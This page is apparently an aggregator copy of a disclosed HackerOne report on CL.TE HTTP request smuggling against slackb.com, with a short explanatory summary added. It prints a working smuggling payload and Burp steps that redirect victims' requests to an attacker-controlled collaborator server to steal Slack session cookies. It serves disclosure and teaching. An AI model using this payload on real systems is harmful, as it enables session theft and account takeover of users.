Skip to content
Smuggling / CRLF Disclosed report Advanced

Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies

A CL.TE HTTP request smuggling flaw on slackb.com allowed an attacker to poison the backend socket and prepend a crafted request to a victim's next request. This forced the victim's browser to follow a redirect to an attacker-controlled server, leaking the victim's Slack session cookie and enabling account takeover.

defparam Follow

Originally disclosed on HackerOne

Critical 9.3 View original
  • Triaged in 21 hours
  • Fixed in 3 months
  • Paid in 23 hours
  • Disclosed after 4 months

Summary by the researcher

This researcher exploited an HTTP Request Smuggling bug on a Slack asset to perform a CL.TE-based hijack onto neighboring customer requests. This hijack forced the victim into an open-redirect that forwarded the victim onto the researcher's collaborator client with slack domain cookies. The posted cookies in the customer request on the collaborator client contained the customer's secret session cookie. With this attack the researcher was able to prove session takeover against arbitrary slack customers.

The report

Hi Slack Security Team!

My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a month long bounty promotion I decided to take a little of my time and gently perform recon on your platform. Specifically the area of interest I focus in is HTTP Request Smuggling. I developed tooling to actively target some advanced HTTP Smuggling exploits and ran it on your in-scope assets. In my research I stumbled across a finding that I consider extremely critical not only for Slack but for all customers and organizations which share their privatedata/channels/conversations on Slack.

The bug chain is as follows:

  1. HTTP Request Smuggling CTLE to Arbitrary Request Hijacking (Poisoned Socket) on slackb.com
  2. Request Hijack forces victim HTTP requests to instead use GET https://<URL> HTTP/1.1 on slackb.com
  3. A request of GET https://<URL> HTTP/1.1 on the backend server socket results in a 301 redirect to https://<URL> with slack cookies (most importantly the d cookie)
  4. Me with my Burp Collaborator steals victims cookies by using a collaborator server as the defined <URL> in the attack
  5. Me (if I were evil) collects massive amounts of d session cookies and steals any/all possble Slack user/organization data from victim sessions

So let's start from the beginning. I was running smuggler -u https://slackb.com running my array of exhaustive tests when I stumbled upon a failure with test: space1 (see below)

s1.png
s1.png From the original on HackerOne

The space1 tests checks for HTTP desync with the following payload:

s2.png
s2.png From the original on HackerOne

This testcase failed on testing a CLTE and not a TECL. A CLTE is a webrequest that has both the Transfer-Encoding: chunked header (specified in some abnormal way) and the Content-Length: header. According to the RFC when both headers are specified the TE always takes priority. However, if the TE header is malformed the webrequest may get interpreted differently between the frontend and the backend server. The CLTE issue found on slackb.com is when the frontend server interprets the request sized using Content-Length and the backend server interprets the request using the Transfer-Encoding: chunked method. This causes a desync on the webrequest and can poison the backend socket causing data to be pre-pended to the next webrequest from a victim. The space1 payload places a space character in between Transfer-Encoding and the colon :. This is enough for the frontend to not understand the request as TE and instead as CE but not enough for the backend to process it in the same way.

One popular attack with a CLTE is to prepend data to the next request that would "erase" the victim's HTTP request using a custom header semantic and for the poison socket data to re-specify the HTTP method and endpoint. Here is what the payload looks like with the slackb.com attack. The best way I can explain it is through Visio using these diagrams (see below)

CLTE_explained.png
CLTE_explained.png From the original on HackerOne

Explanation of the malicious request:

Redirect_Explained.png
Redirect_Explained.png From the original on HackerOne

Here are your steps to triage:

  1. Open up a fresh Burp
  2. Open up a fresh Collaborator by going to menu: Burp->Burp Collaborator Client
  3. In the Collaborator Client click on Copy to clipboard for the server URL
  4. Go to the Repeater tab
  5. Add the following payload and replace <URL> with your collaborator URL
GET / HTTP/1.1
Transfer-Encoding : chunked
Host: slackb.com
User-Agent: Smuggler/v1.0
Content-Length: 83

0

GET <URL> HTTP/1.1
X: X
  1. Set the repeater target to: host: slackb.com , Port: 443 (SSL) by double clicking on target
  2. Press go
  3. In the Collaborator window click Poll now until you see requests

The attack should roughly look like this: Burp Repeater:

burp_1.png
burp_1.png From the original on HackerOne

Collaborator DNS request: (The Victim's IP Address is leaked too!)

collab_1.png
collab_1.png From the original on HackerOne

The special cookie stolen from this attack:

collab_2.png
collab_2.png From the original on HackerOne

At this point you just attacked an arbitrary slack customer and have access to her d session cookie. From here you can plug the session cookie into your browser and have full account takeover, Scrape all data and move onto the next victim.

I'm happy to help if you have any further questions. Most of my requests have been made using the User-Agent: Smuggler/v1.0 header, feel free to review traffic logs keying off that.

Have a nice day! Best, Evan

Impact

So it is my opinion that this is a severe critical vulnerability that could lead to a massive data breach of a majority of customer data. With this attack it would be trivial for a bad actor to create bots that consistantly issue this attack, jump onto the victim session and steal all possible data within reach.

I am really happy I found this for you guys so that it can be dealt with ASAP. I really hope there haven't been any attacks on customers using this vulnerability.

Best Wishes, Evan

The original report as published on HackerOne, by defparam. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a discrepancy in how the front-end and back-end servers parse the Transfer-Encoding header when it contains a space before the colon, causing a CL.TE desync.

Impact

An attacker could steal arbitrary Slack customers' session cookies and take over their accounts, potentially leading to a massive data breach; the report does not mention any defence that limited the attack.

What the attacker needed

Attacker-controlled collaborator server; victim makes a request to slackb.com; no authentication needed

How it was found

  1. Open Burp Suite and start a Burp Collaborator client, copying its server URL.
  2. In Burp Repeater, craft a request to slackb.com with a malformed Transfer-Encoding header and a Content-Length header, followed by a smuggled GET request to the collaborator URL.
  3. Set the Repeater target to slackb.com on port 443 with SSL and send the request.
  4. Poll the Collaborator client until requests from victims appear, including their session cookie.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

HTTP request smuggling happens when a front-end server and a back-end server disagree about where one HTTP request ends and the next begins. Here, a malformed Transfer-Encoding header made the front end use Content-Length while the back end used chunked encoding, so the attacker could sneak extra data that got attached to the next user's request. That extra data made the victim's browser redirect to the attacker's server, sending the victim's session cookie along with it.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by defparam

View all

1 more disclosed report, best first.

More from Slack

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.